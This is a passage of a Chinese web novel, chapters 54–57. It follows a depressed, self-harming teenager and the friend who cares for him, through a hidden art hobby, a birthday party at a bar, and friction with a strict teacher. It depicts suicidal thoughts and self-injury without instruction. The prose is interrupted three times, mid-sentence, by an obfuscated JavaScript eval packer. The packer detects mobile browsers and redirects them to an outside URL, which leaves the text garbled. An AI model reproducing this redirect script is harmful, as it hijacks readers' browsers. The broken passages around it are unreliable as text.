不经意间回头，望了眼叶知家的小区。于是瞥见花坛边一辆小电驴。绿植里藏了照明灯，齐怀生窝坐在灯光扫射不到的阴影里，看动作是在抽烟。陈向然走近了，才发现散布一地的烟头。 齐怀生依然在他身后孤零零地等着。如果他刚刚不回头，齐怀生究竟会等到什么时候。 “齐怀生。”陈向然很轻很轻地叫他。 他抬头，烟顿在手里。下一秒迅速碾灭了。 他大概也没想到会见到人。 “齐怀生，”陈向然伸出手，让他借自己的力站起来，“带我一起走吧。” 齐怀生看着他脸上、头发上、手上，一身颜料，又脏又狼狈的样子。他的眼神里，有什么东西不一样了。 碎了，灭了。再也找不回来。 他暴躁他反感，他烦透了周围的一切。他甚至觉得下一秒就要跑到马路中央，等着车流从自己身上碾过，变成血溅柏油的碎尸。 可是他站在这里，给了齐怀生一个轻飘的笑。 齐怀生心里一疼，结结实实地抱住了他。 54. 电话 林岚自始至终没有追上来。她总是很自信的，儿子最后总要回到她身边。 八岁那年第一次离家出走，林岚急得报了警，后来在一楼架空层的滑梯上找到他——他连小区都没走出去。十二岁那年夺门而出，林岚追出来，在走廊大声喊他的名字。发现他在楼梯间里，什么话也不说，扭头回家，只给他留了条门缝。 从此不论在哪，林岚相信他不敢走远，不敢做出格的事，够自律，够听话。她可以专心于工作，把儿子交给学校。她说过，教育是老师的责任。 陈向然也学会了在林岚面前藏起自己，做一个乖小孩。因为他说的话，做的反抗，到了林岚眼里都是“小孩子把戏”。一片落叶付出自己所有的重量，也只是激起一道涟漪。 他明白正面“较量”不能得到倾听和谅解，于是建造属于自己的世界，把委屈、噩梦、脑海里不断出现的幻象，全部都藏进去，封起来。 可是齐怀生把它打开了。 在林岚面前，他觉得自己是个漆黑的、坚硬的、封闭的罐子，那些伸展的藤蔓随时要刺向外界，或刺向他自己。 睁开眼，他在齐怀生怀里，他忽然放下所有自我保护。 阴暗、狂躁、悲观的念头占据他的精神，他把下巴搁在齐怀生肩上，撒娇的话到了喉头，没有说出来。 任何人，他希望任何人远离这样的他。不要听见，不要看见。把自己缩起来，直到消失。不拖累任何人。 一时间，他想，命运让他遇见齐怀生，究竟是好事还是坏事。 “回家吧。”齐怀生放开他，抽出纸巾，端着他的脸用力擦拭，“啧，瞧你脏的，花猫。” 他逗他开心，可是陈向然累了，给不出丝毫反应。 齐怀生给他擦干净脸，戴上头盔。 小电驴轰鸣而去。 一路，陈向然都紧紧抱着他的腰，把脸靠在他后背上。眼前的霓虹灯、路灯、绿化带照明灯，渐渐消失了，变成低矮的楼房、灌木、河流、百年大树…… 刚到家，陈向然的手机就收到几条微信。问他到家了没，试卷有没有好好分析，别顾着生气，这样没法学习等等。 他的所有情感在林岚那里都微不足道。毕竟这样的年纪，是不会有愁苦的。 “今晚还没吃药。”齐怀生穿着拖鞋去给阿送倒猫粮——这位爷前些日子被吓成了孙子，不像之前到处跑到处钻了。齐怀生一接近，它就“喵——”地警戒起来。 “再叫……”齐怀生在它摇晃的毛绒尾巴上拍了一掌，“再叫炖了你。” “喵！” “今天的药都忘了吃吧？”齐怀生把糙粮放鞋柜上，里面剩的不多了。 “嗯。”陈向然缩在长椅里，像一个停电的机器人，两眼放空，一动不动。 服药断断续续，病魔因此失去控制，迫使他的大脑停止运转。他就那么坐着，微微仰头，凝视厨房窗外的深巷，天空那么小那么小，被细长生锈的栏杆分割，禁锢在窗户的一角。 齐怀生给他送来今晚的药，他伸手要接，齐怀生躲了一下：“别拿，你没洗手。” 他手心里躺着几颗小药片，白的黄的，形状各异。吃药有一段时间了，他还是想象不到，就这些小小的药片，是如何驱散心里深种的病根。它是不是真的，能消解一切恐怖和痛楚。 那只手把药喂进他嘴里，再递来一杯水，和水吞下。 他浑身沉重得不能行动，好像可以保持这个姿势到地老天荒。刚开始在齐怀生督促下用药那天，他吞下几颗药后，就只等着抑郁消散，期待世界重新变得明媚，但好像什么都没有等来。 药物下肚，任何情绪都像烟囱口冒出的轻烟，刚刚冒头，便“啪”一下消散了。药起效后，他不悲不喜，只感麻木。 齐怀生没有说什么，拿来棉花和碘酒，一点一点洗去他手心里的血污。停车场里发生过什么，他一身花花绿绿的颜料，齐怀生已经猜到七八分。 “画画的事被发现了？”他问。 “笔、颜料，被我妈收走了。”陈向然轻轻颤抖。 “再买。” “全套配置，太贵了。动了银行卡，她会问起的。” 屋里静了，静了很久。 头顶灯泡微闪，把两人的影子拉得很长、很高，立在墙面上，像匍匐着两只相互舔舐的兽。不知过了多久，他才感到齐怀生在发颤，重重抽了一下鼻子。 “齐怀生？”他微弱地唤了一声。 “嗯？” “你在哭吗？” 蘸了碘酒的棉花在掌心顿了一下。 “没有。”齐怀生抬起头来，微微笑着。灯光太深，瞳孔盈盈发亮，他看不出那双眼睛是不是红了，有没有眼泪打转，“我只是……只是想到你上次说，你们这样的人，是不是都有那一天。像你，我妹，还有你那些同学。” “我不是病人，我不能理解你们为什么寻死，为什么伤害自己。我只是觉得不能这样。我不想要求你，但我这人就是咽不下这种无力的感觉。所以我还是要说，你能不能，不要这么对你自己？” 他已经无可失去了。 在陈向然面前他抑制不住汹涌而来的脆弱感。越是这样，陈向然越是愧疚。 原来他不仅令人失望，还让人难过。 陈向然木然地看他，每个字都听在耳里，但他的思维已经迟钝到，要很久很久才反应过来。他低头看自己血肉模糊的手，碘伏和血肉混杂，是他绘画时，最喜欢的调色。 看到血液，烦躁的心渐渐冷却。他难以思考，只是凭着本能说出：“不要难过。” 齐怀生看着他，但他垂着眼，并没有看回来。 “别难过。”他又说。 齐怀生扔了纱布，封上药瓶，把这只瑟瑟发抖的小鹿拢进怀里：“你才是别难过。” 一个拥抱没有持续多久，齐怀生的电话就响了。 响得很突然，阿送警戒地跳了起来。攀上长椅，钻进陈向然怀里，鼻翼翕动，大约是闻见了血腥味。又“嗖”地逃回它的窝里了。 “是齐越杰，”齐怀生拿起手机，“肯定是我爸的事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301973|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说得很轻松，十分笃定会是个好消息。从塘泽回来那天，齐卫平的身体已经康复得差不多，现在不是出院了，就是已经通知出院的日期。 “快去吧。”有好消息，陈向然也提起一分精神。 齐怀生走进房间，去阳台接电话。他也扶着把手和茶几，摇摇晃晃地站起来。他要去房间里拿睡衣，好好洗一个澡。 齐怀生说得对，确实太脏了。 房间里开了空调，阳台玻璃门关着，隔绝了外面所有声响。 陈向然站在床边，动作迟缓，从衣服堆里找到齐怀生借给自己的睡衣，青灰色带翻领，上面印了无数只小船图案，像海中的校徽。布料轻柔纤滑。齐怀生说过这是他买的最贵的睡衣。初三那年买的。那时候心血来潮，不懂事，还想着这个睡衣保佑他考上海中。结果后来决意去石中，不穿了，放在衣柜深处蒙尘。 他曾经也对“往上爬”这件事充满希冀。 陈向然朝身上比了比，发现码数正好合适。 刚找到对应的裤子，偶一回头，看到书桌上齐怀生的校章，写着潮头市石川县石川中学。照片是他高一那会儿拍的，嘴角微微向下撇，眼神冷峻、犀利，仿佛不爱搭理人。有点像张依萌她们那拨女生花痴“生哥”时描述的样子。 旁边是石中的试卷，上学期期末的。数理化三科满分，生物被扣了一块粗心的地方，九十八。语文作文勉强及格，其它的难得考得不错。英语挺高，但这是石中的试卷，还是相对简单了。 他现在是这样，但他会有很好的未来，陈向然想，所以自己更不能拖他的后腿。 晚夏的风当是柔和轻慢，带些闷热气罢了。但陈向然听见了碰撞声，像是先前听过的，枝叶鞭打栏杆的声音，还要更结实、响亮。 就那么一声，突然得陈向然缩了缩脖子，一下分不清虚实，怀疑又是幻听发作。 齐怀生回来了。 陈向然特意看他的脸色，与刚刚出去时无异，依旧很轻松。 “怎么样？”他问。 “万事大吉。只是我爸暂时还不能出院，医院说术后护理很重要，建议暂时不出院，否则要签后果自负的协议书。” “越杰哥……只跟你说这些吗？” “嗯，不然呢？” “他好不容易打个电话给你，不得说点别的？”陈向然眼神凝滞，想了一会儿才说，“哦，最近石中要评县一级学校，涨价了吧。” “是，涨价了。” “他要借你更多钱吧？” “我说啊。”齐怀生推推他额头，“你是听到了还是小心思多？” “那你有接受吗？”陈向然贴在他身上，用一双空洞的眼睛，认真又恳求地望着他，“接受了吗？齐怀生。” 齐怀生看向书桌。 课本、试卷、习题册，学业是他为了往上爬，而紧紧攥住，不愿松手的东西。 他答应过陈向然，一起去江洲，就会兑现。 “接受了。”齐怀生揉揉他的头，难得露出一个温柔的苦笑。 55. 飞翔 陈向然无法再继续艺考培训。 陆引孜孜不倦地给他打电话，还发来微信消息，问他是否安好。他一直不敢回电话。好像只要回了，一切就结束了，就滑向深渊了一样。 他背负处分、抑郁、和第一次违背亲人的愧意，被齐怀生推着鼓励着，才走到今天。怎能就这样结束。 可一切本来就结束了。他开始怀疑，他的理想，向往描摹博大万物的理想，究竟还能走多远，亦或就此止步了。 他尝试借钱，没有人能借得出几百块。大部分都被家里严格限制开销了。最终一拍脑门，想起向孙临潼借。转头发现，从领成绩那天就没看到他。当时还以为这小少爷去了文科班。 “他选理了，按他的成绩……只能在咱们班吧。”叶知说。 “但那天他送你回去了，对吧？”陈向然追问。 叶知趴在走廊栏杆上。走廊一圈人都在看天，这几天傍晚的云彩灿烂夺目，是他们在书山题海里难得的、关于美的渗透。 但叶知的目光是向下的，像是在凝望某处深渊，或想到了那天在生死线上的徘徊。 风拂过她细软的披肩长发，她指尖一绕，鬓发轻轻别到耳后。 “我不太记得了。”她说，“我不知道他从哪里出现的。我那天……你懂的吧，我们……我们俩之间，那么像。” “叶知——” “今天周六你回家吗？”叶知像是不想听见什么回答一样，打断他，冲他一笑，笑靥轻如白羽。 “应该……不回。” “那就是去我哥家。” “……嗯。” 入秋了，小县城成片地漫过金色，和夏季的翠绿深深浅浅地交融。九月中旬秋高气爽，靠山地段闷气散去，云很淡，像给蓝天披上一层纱。 他们拉着行李箱，穿过银杏道往校门口，张依萌和几个别班女生经过，冲他们指指点点。他听见张依萌扬着脑袋说，叶知为了提成绩又开始勾引学习好的男生了，而后发出一团笑声。 叶知缩起肩膀，步伐变慢了，最终停下来。 陈向然回头看她：“别在意，让她们说去。” 叶知四下张望，做贼似的，从书包里拿出一个盒子。很大，差点卡在书包里。外面包了银色发亮的纸封，带一小巧的蝴蝶结，像是礼物盒。 陈向然以为她在整理什么东西。然而她把盒子递来：“生日快乐，陈向然。” 他愣着没接：“可我生日还没到。” 其实没几天了，他的生日在25号。可他不敢接这份礼物，因而找了个借口。 齐怀生说过，不喜欢就不要给人遐想。 只不过这么大一个礼物，多少是份心意，不收好像太伤人姑娘的心。 叶知把盒子塞进他手里，说：“我哥同意的，收下吧。” 听到齐怀生同意了，他不知怎的，像解除了禁令一般，好像收个礼物都要在乎他乐不乐意。 “谢谢。其实你生日……我也没准备什么像样的东西。” “心意到就好了，你能来我很开心。”她身后那片金黄的银杏叶，投下淡淡的影子，于是她的笑容斑驳朦胧，“我哥说，为了我开心，他会把你弄去的。我以为他开玩笑呢。还真把你带去了。” “叶知，那个……你很好，很优秀，我也很愿意和你聊艺术。但感觉的事——” “我知道。”叶知有一丝失望，“我一直有直觉，你有喜欢的人，不知道我猜对没有？” 喜欢的人？ 陈向然眼下忽地不知怎么回答了。 和叶知在后街分道，剩下他独自一人，这才拆开外封，看到里面的礼物。 明而不烈的阳光在他乌黑的眼睛里粼粼跳动。 一盒型号齐全的鬃毛笔，一个调色盘，一盒水彩，油彩罐彩虹一样码放在最底层。 这天他兴奋得像个几岁的小孩。用齐怀生的话说：没见过你这么烦人的。 口气很不耐烦，说完他就忍不住笑了。在他印象里，还没有听过陈向然这么中气十足地讲话。 陈向然围着他跑前跑后，拖来扒去：“快说快说，是不是你让叶知送的？” “走开，我忙得很。” “你说我就不烦你。” 彼时齐怀生在晾衣服，一件一件荡开了，袖子、裤管通畅了，才用撑衣杆撑到高处挂起来。风一过，成排地飘扬。 冥冥中，陈向然似乎猜到叶知为何要送礼物，或许不是回礼，不是表白心意，而是齐怀生……不只是“同意”，而是他的本意。 “唉是是是……别他妈揪，我头发不多！” “聪明绝顶了吧，都会捞你姨父的钱了。这算不算借花献佛？” “不算。”他一边嘴硬，一边把陈向然的校服晾上高处，“是叶知送的就是叶知送的，别扯我。” 晨风、暖阳，巷路上方暖白的天光倾泻。陈向然看见对面搓衣服的阿姨，听见隔壁叫孩子起床的爸爸，楼下的流动早餐摊打着铃经过。那个回收废旧电器的阿伯，每日清早挂着喇叭自西向东迎着朝阳去，傍晚又自东向西，朝着日落方向回家。 人的一天就这么简简单单地过去。 陈向然趴在阳台上——楼下的大排档门口睡了几个流浪汉，没记错的话有熟人在其中。那红色环扣十分扎眼。环扣的主人手上依然握着两张纸，等着大排档打开电视，收看今天的彩票开号节目。 陈向然从高处望下去，凝视那个流浪汉等待心切的背影。鬼使神差地回头，画具整整齐齐地码放在书桌上，多彩而令他着迷。 怀着理想，不停地等待，或许意外实现，或许一生就这么碌碌而过。这样的生活，究竟是希望还是绝望，他曾经这么问过齐怀生。但直到今天，他依旧没有答案。 他忽然想到一件事：“我生日是星期四。”。 “哦。”齐怀生故作默然，“怎么了？” “你要怎么给我庆生？”某人厚脸皮地讨要，“我出不来，你要提前还是延后吗？” 陈向然期盼齐怀生作一首新曲，而后他作画。他们在各自的理想里畅游、融合，和曲以画，有如讲古中的知音之谈，也甚是美妙。 但这个人突然小心眼：“你又没给我庆生。” 齐怀生的生日在十一月初，按理说还没到。陈向然算是明白了，去年十一月忘记他生日的事，他记到了现在。 “那正好，一起庆，补一个？” “到时再说吧。” 到时再说，就是不必再说了。他撇撇嘴，摇摇头表示“不稀罕”。 “你看上去很不开心啊。”他望着齐怀生宽阔的背影，小跑着跟上去。 “你最近还好吗？” “好啊，哪哪都好。我现在可以绕着石川山跑好几圈。” 齐怀生站定了，把他牵到面前仔仔细细看了好几眼。 陈向然被他看得耳朵发热，快热到脖子根，嗫嚅着说：“干嘛？我早上洗脸了……” “睡眠怎样？” “还是和原来一样，但我精神很好。” 离得这样近，陈向然还是看不出这人有开心的神色。罢了，也不是第一天认识这个人了。 以往还能翻墙偷溜出校，自从被刘永凡警告之后，他一个手指尖都不敢迈出去了。但那好不容易生日，就算没有礼物、没有庆贺，也不能阻止他出去见齐怀生。 晚自习请了假，翻墙出去，瞬间深吸一口外面的空气，好像墙外的总归更清新一些。 街道后半段，夜市熙熙攘攘，到处是砍价叫卖的声音。自行车叮铃驶过，停在一辆载满水果的推车边，白炽灯照亮人脖子间的汗水。对面的台秤上一棵白菜，卖菜的阿伯多念了斤两，和顾客吵得全街瞩目。 浓厚的生活气息让他想起些过去的事。 他不是一个在乎节日的人。只有很小时候，和父母在老家过节，端午、中秋……姥姥姥爷起炉焚香做祭拜。那时的老家慢悠悠的，老房树荫，过节忙碌，生活的仪式感还在。后来父亲离开，林岚也不常在，他就不过了。 姥姥说：我们岭南这边的节日，在上个世纪穷得叮当响的时候，就是一年中团圆、开荤的小“借口”。不多，一到两次，宰猪杀羊，摆桌布宴，祭拜祈祷。空气中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301974|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袅袅烟香，不过是寄托生活的希望。 这是节日最初的意义。 后来姥姥说，生日也是很重要的事。 这一天是你妈妈的节日，她为了把你带到这个世界上，流了很多血。又为了给你更好的生活，吃了很多苦。 于是他唯一一次郑重地给林岚准备礼物，不是在母亲节，而是在自己的生日。那份礼物最终没有送出去。那时他们还在江洲，建设项目多，林岚忙得脱不开身。 “生日快乐，然然。”那时她刚刚离婚，电话里声音虚弱沙哑，“妈妈这边很忙，想吃什么自己点，钱妈妈管够。你很独立，妈妈为你骄傲。” 林岚曾经还有这么温柔的时刻。 他走在灯火绵延、夜市喧哗里，鬼使神差地看了一眼手机。他不期待什么，只是觉得他和林岚的关系，不知为何走到今天这般。 那束纸花和明信片，仍放在现在市区的家里尘封。 今天是齐怀生和叶知提醒了他，就算学校封禁，和齐怀生也没有约定，他也应当在这一天去找他。 就像先人，不远万里，只为赶赴一场仪式。以节日为“借口”，多看一眼重要的人。 他带了一部分画具，跑去寄放在巷头酒吧。出来迎客的是李荧。她说谭持终于答应去上大学，就在郊区那边，本市的学校。最近要考试，在里屋看书呢。 又是一个好消息。 陈向然近来果真在兴头上，跑堂似的冲店里的客人问好。李荧笑他是不是最近有什么喜事，情绪这么高涨，一点不像他。 陈向然佯装不悦：“今天我生日，不应该高兴么？” “应该应该，服了你了。”李荧转而朝角落里喊，“可以开始了！” 酒吧顷刻间灭去一半灯光，陈向然顺着她的目光望去，那角落很黑，只能依稀辨认出轮廓——有人坐在台上。 灯光一亮，蓝色灯光有如静谧的海水，拢住舞台上的少年。齐怀生今天有些不一样。衣服满是嘻哈风装饰，头发用发胶往上拢了拢，从头到脚改换造型。陈向然正纳闷，看到申恺坐在台下某一桌，他就明白是谁给齐怀生整的行头。 齐怀生那帮兄弟都来了，围了两张桌，站椅子上，站桌子上，拿着拍拍掌或尖叫鸡，一边鼓掌一边瞎叫唤。气氛一带起来，其他客人也跟着起哄。 “谢谢大家捧场。今天这首歌，是唱给……我一个朋友的。”齐怀生与他目光相接，“祝他生日快乐，从今以后，开心无忧。” 原来他早准备好了，在他们第一次相见的地方。 算下来，原来他们相识，已经一年了。 这一年，他的鲸鱼从深海里看见光，看见天空，无论白日还是星夜，它依然对蓝天白云满怀憧憬。 今晚，它在飞翔。如鲲化鹏，跨越大洋，遮天蔽日，在云海中嬉戏，在星群里入眠。 齐怀生的新曲灵动而充满希望、祝福。他不知对谁使了个眼色，何晋拎着一盒礼物送到他手中。 “生哥给你的，生日快乐啊。”何晋温暖地笑着，“他最近好像打了别的工，钱来得快，给你买了个大礼。” “什么啊……”陈向然当场手忙脚乱地拆开。 是一个拆装画架，一卷画布。 他咬紧了嘴唇，没有让情绪泄露出来。 他从没想过向齐怀生要那么多，可是齐怀生给他的，总是远远超出他的预期。 一个脑袋忽地从何晋身后冒出来，陈向然想起他应该是叫张亿。这哥们大众脸，头侧剃的闪电没了，不好认。 “过来啊，别一个人站着。”他把陈向然拉过去。 申恺、黄旭卓、谢炽……叶知，还有消失多日的孙临潼也出现在这里。陈向然一一认出这些面孔，每一张都带着爽朗的笑容迎接他，把他推到中心，推向齐怀生的舞台，大笑、簇拥。能歌善舞的跑到台上，给齐怀生作背景。 彩灯游弋，音乐长吟，一群人没有目的地混在一块。那样乱七八糟，又富有生气。陈向然几杯酒下肚，像乘着小船微微摇晃，在狂欢中忘记了时间。 他听见“咿咿”的鲸吟声，在天际回荡。 56. 起风 酒醒时天还没亮，打开手机，是凌晨四点。 街上无一人通行，妖风肆虐，在房屋错落的街巷里碰撞来去，发出呻.吟。 黑暗、昏黄、大风，周围的光感和声音都是熟悉的压抑。他习惯性地要取书晨读，发现自己睡的地方不太对劲。 这里不是宿舍，是酒吧。他身上裹着齐怀生的外套，脑袋下不那么软的“枕头”，是齐怀生的腿。 齐怀生一手扶着他的侧脸，一手放在他身上，防止他从沙发上滚下去。就那么坐着睡着了，还在打呼。 整个门店横七竖八躺了一大群人。孙临潼幻影似的不见了。叶知用了里屋的床铺，正披头散发地走出来。 现在翻墙回学校，混到人流里去做晨操，应该还赶得及。 凌晨天空惨灰，云层沉重地压下来，像是要把这天地吞噬殆尽。此时不离开，不多会儿又是一场雷雨。 他轻轻拿开齐怀生的手，给他盖上外套。走之前忍不住多看几眼，撩起垂下的一撮头发。 “啪”一声手被攥住，齐怀生睁开眼睛。陈向然挣了一下手，没挣开。只能原地冲他微笑。 “这就走了？” “嗯，谢生哥款待。” 齐怀生把他拉过去，揉了把头发：“满意了？昨天晚上？” 喝太多烧酒，他差不多处于失忆状态。只隐约记得眼前晃着一堆人脸，耳边是齐怀生震动的胸腔——他在质问那帮兄弟，是谁给灌的酒。看凌晨这一地睡姿，躺桌上的撂椅子上的，还有睡吧台的，凡是互相扯着衣服的，准因为齐怀生的质问互相推诿，打了一架。 在学校，他已经很久没见过周围人这么笑了。齐怀生问他满不满意，他已经不想用“满意”来表达。 “等你毕业，我也给你庆一场。”他说。 齐怀生顿了顿，淡漠地错开眼神。 “嗯”了一声，轻如鸿羽。 “那我走咯。”陈向然伸手拽拽他的头发，“你还是原来的发型好。” 说完，陈向然怕他出拳似的，往后一跳，笑得像个顽皮的坏小孩，眼看齐怀生的耳廓一点点憋红。 “不是我想弄。”齐怀生别过脸把头发拨下来——发胶太持久，过了一夜头发仍旧铁丝一般，“我没弄过这么浮夸的。很难看对吧？” “这样太帅了，容易出交通事故。走啦，不用送。” 陈向然一兴奋就爱嘴碎，能把人尴尬得整瓣耳朵都红透。 门把上的风铃被狂风摔在玻璃上，发出声响。一屋子人睡如死猪，雷打不动。陈向然推开一道门缝，风“吁吁”地钻进来。 “走了，叶知。”他催促道。 “你去吧。”叶知迷迷糊糊揉着眼睛，“我等早上，从正门进。我校章在保安叔那。” “孙临潼呢？” 叶知揉眼睛的手顿住，目光扫过一地“躺尸”，似乎也才刚发现他不见了。 最近见他一面比见鬼都难。 “唉，可能又不上课了。”叶知说。 孙临潼以前也爱旷课，旷了就大咧咧地在电话里告诉他妈，因而请家长也没用，哪个老师都管不了。除了张士——那个教生物的资深教师，没人大声说过他。 陈向然也“逃学”，但他不理解旷课。不能从学校出去，不上课就只是置气罢了。 有一回，陈向然看到他在严霖辉办公桌前，脸上叶影翕动，师生不知聊着什么。孙临潼和平时不一样，在那背着手、低着头，浑身服帖的样子。严霖辉对他说了些话，这些话，在那偷听的 陈向然都记到了现在。 “要是觉得，这世上有什么你想反抗的东西，那就变得强大起来。到那时，你可能会看见一个不一样的世界。” 大约是从那之后，孙临潼整个高一都不逃严霖辉的课了，还偷偷地把化学补习卷全部补上。 也就严霖辉，对学生总有些办法。 他走在凌晨四点的后街上，头顶阴云密布。冷风卷起又干又皱的落叶，迎面旋转飞来，龙卷般向高空去。 至于新班主任杨姗，已经把他从名册上抹去了。开学以来，课前点名都不见人，误以为是印刷问题。 近来杨姗还是时不时盯着他和刘永凡，于是两人像有了共同敌人一样，开始课后吐槽杨姗的死板专制。 杨姗算是新教师，刚从别的学校聘来，对海中教学模式许是不大了解，还在按照普高那种地毯式教学。基础讲得细如牛毛，蜗牛般拖沓，不跳过送分题，不升级难题，不扩展课本外的知识点。本人又固执，认纪律、认死理，不肯变通。 刘永凡把试卷夹砖头一样摔在桌上：“都讲了什么鬼……” 陈向然五指戳进头发，往后捋了一把。他面前的语文试卷写满了黑笔字，红笔只写了四分之一。 原来一节课能讲完的试卷，要分四节课讲。 刚开始讲，大家还是认真听的，讲到第三题就开始有人发出抱怨的声音。同样语文非常突出的张依萌，已经无所顾忌地发出“喺”的声音。紧接着像是开了阀门，整个教室窸窣议论。 杨姗从容地写完板书，转过身来，“啪”地把教材扣在讲台上。 鸦雀无声。 “我就一句话，我的课堂上不允许讲小话，不想听的人就出去。” “老师，能不能讲快一点？” “这样……一节课讲不完啊。” 于是教室里此起彼伏发出“是啊”、“是啊”的附和。 教材被重新提起来，又可怜地摔回讲台，切断一片嘈杂。杨姗眼睛又圆又大，眼白多，眼仁突出，一瞪若鬼神：“我再重申一遍，不想听的就出去。” 没有人再说话。 陈向然一直没有发出声音，此时紧紧攥着笔，攥得外壳发出“咔咔”的声响。 近来他总觉得兴奋，这股兴奋有时会升腾为怒气。睡觉的时间越来越少，每天却有用不完的劲需要发泄。 这时他按捺不住了，腾地站起来：“杨老师，不如您找刘易老师了解一下教学方法，语文组组长比较了解——” “陈向然，”她把粉笔头扔进盒子，拍了拍手，“老师知道你成绩优秀。但你们本地有句话说得好：冬瓜虽大也是菜。成绩再好，你也是学生，学生难道比老师更懂怎么教？” “学生就不能有——” “陈向然，你这种态度，等哪天成绩不行了，别来找老师哭。” 陈向然愣了，没有吱声。 紧接着试卷讲解被打断，杨姗剩下的时间变成了她所说的“人格教育”时间。 “这样下去，我们班要怎么超越其他班啊。”下了课，张依萌一边改化学试卷，一边不经意似的说。 陈向然和她同班一年多，对这姑娘最深的记忆，就是她的声音。洪亮，甚至可以说婉转。可说的话常是抱怨，还喜欢打着集体的名义。不是班长，又是比班长更有威信的存在。 只要坐在教室里，就会看到她在聊天圈的中心，不缺朋友、不缺关注。有时遭人议论，还能不动声色地拉拢人家。 陈向然抬眼——她此时正向吴自兴借英语笔记，而后走过来向陈向然借化学试卷。紧接着特地跑去理重点，向潘千慧借数学试卷——因为刘永凡从不出借任何学习资料。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301975|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 班里她那三五个朋友，听她起头，都跟着附和：“就是啊，明明我们学校每次大考都要洗一次排名。还说把吊尾班变成理重点。别说重点了，这样谁还能跳出去啊。” “我本来是去三班的排名，要不是那天状态不好，漏了一页题没做，谁来这里。” “哦嚯，老子还因为迟到没做完呢。” “看我们两位神，多用功。”张依萌阴阳怪气道，“我要能像他们一样用功就好了。” “谦虚了，萌神。早上四点读书有你一份。”一位女生回怼了她。 教室波澜起伏，刘永凡岿然不动。只见他扶扶眼镜，继续抄古诗。笔记本顶上写着理重点这次期末各科均分。当他发现语文差了一分时，疯了般抄写失误的那句“春风得意马蹄疾”。他在考试时眼一岔，给写作了“急”，扣了一分。 白色的纸页，密密麻麻覆盖了黑字，春风得意马蹄疾，春风得意马蹄疾……。黑字还在飞速增加，翻页，再增加，似蚁群，似楚巫的咒语。 陈向然揉摁太阳穴，站起来，走出教室。 有时他觉得，考试本身还不如考试后一群人变着法儿的吹嘘令他厌恶。 “时间差不多了，都交上来，别修了。”陆引抽走所有人画架上的素描。 陈向然是在里间听到的，手上拿着刮刀，在巨大的画布上刮绘一片夕阳。渐变的金色，云彩成团，像是会翻滚一样。 房间里还有另一人，背对着他，在画布上端画了一只棕色的小船，小船漂游在云层上。 那是“熊二”，能把“熊大”陆引的画模仿出八分相似的人。大名叫白峥，最近复课后陈向然才知道，他也是海中的学生。据说成绩不错，目标直指清华美院。 这个人长得没什么特点，却让人容易记住。他像是没衣服穿一样，即便周末也要穿着校服来培训。昂首挺胸的，特意露出左胸前海中的校徽，彰显省重点的骄傲。 陆引似乎是要办画展了，要挑选学生出展。于是把两人叫到这来画上一幅。白峥从开始就多动症似的扭动，偷摸摸的，眼神时不时往他这瞟，不知是看他的人，还是看他的画。直到陈向然朝他看去，才忽地把头转回去了。 “有事吗？”陈向然近来暴躁，口气也十分不快。 “没什么。”白峥扶扶眼镜。明明是个美术生，眼镜的配色却令人不忍直视，框为黑色，柄外侧为蓝色，内侧为绿色。 陈向然忍住了，没有把刮刀扔在他眼镜上。继续快速地刮涂他的画。 “你想考哪个学校啊？” “江大。”他和齐怀生约好了，去江洲。 “啧。”白峥发出这样一个音节。 只一声音节，陈向然解读出不屑、反感、蔑视等等情绪。 他咣当一声把刮刀扔进桶里：“怎么了？” 白峥肩一耸，像是吓了一跳。估计心里正想着：这句话该我问。 “没怎么。”他故作镇定，“你听过‘过度的谦虚就是吹嘘’这句话吗？海中的艺术生哪有不想考清华美院的。江大，你猜我信吗？” “啧。”陈向然回以同样的音节。两人各自沉默。 “海中的学生哪有不想考清华北大的”，类似的话林岚也说过，在他读高中的第一天。转眼，高中的一半都要过去了。 齐怀生高三了，大约也在为高考奋战。陈向然不知从哪天开始就找不着他了，慢慢地，也不去找了。 他有时会拜托申恺或何晋给他送资料，直到有一天，他也找不见申恺了。像孙临潼一样，他们一个一个地消失了。 从那个狂欢的夜晚开始。 57. 劝和 齐怀生已经忙碌到只出现在他的电话里。从一周四个电话，到一周两个电话。 每接起电话，对面人声嘈杂，吆喝声剁刀声，不一而足。与其说是学校放学后的喧闹，倒不如说是在菜市场。陈向然问他在哪儿，在做什么，他每次都会说出不一样的地址，做的事却永远是学习。 直到变成一周一个电话，陈向然接起来的第一句话是：“大忙人终于肯赏光了啊。” 按节气，已过了立冬，小城却还没结束夏天的潮湿闷热，剩了点忽冷忽热的尾韵。小雨淅沥，老街的色彩灰暗发青。水泥地湿漉漉的，汩汩淌着水流。 齐怀生的声音也像天气一样捉摸不定，静了一会儿，轻叹口气：“我脱不开身。” “学习这么认真？” “帮我个忙。” “你说。” 